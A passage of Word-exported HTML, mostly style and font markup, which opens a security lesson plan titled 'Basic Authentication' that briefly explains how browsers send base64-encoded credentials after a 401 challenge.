||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> Basic
|
||||
Authentication <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Basic
|
||||
Authentication is used to protect server side resources. The web server will send
|
||||
a 401 authentication request with the response for the requested resource. The
|
||||
client side browser will then prompt the user for a user name and password
|
||||
using a browser supplied dialog box. The browser will base64 encode the user
|
||||
name and password and send those credentials back to the web server. The web
|
||||
server will then validate the credentials and return the requested resource if
|
||||
the credentials are correct. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>These
|
||||
credentials are automatically resent for each page protected with this
|
||||
mechanism without requiring the user to enter their credentials again. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For this
|
||||
lesson, your goal is to understand Basic Authentication and answer the
|
||||
questions below.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
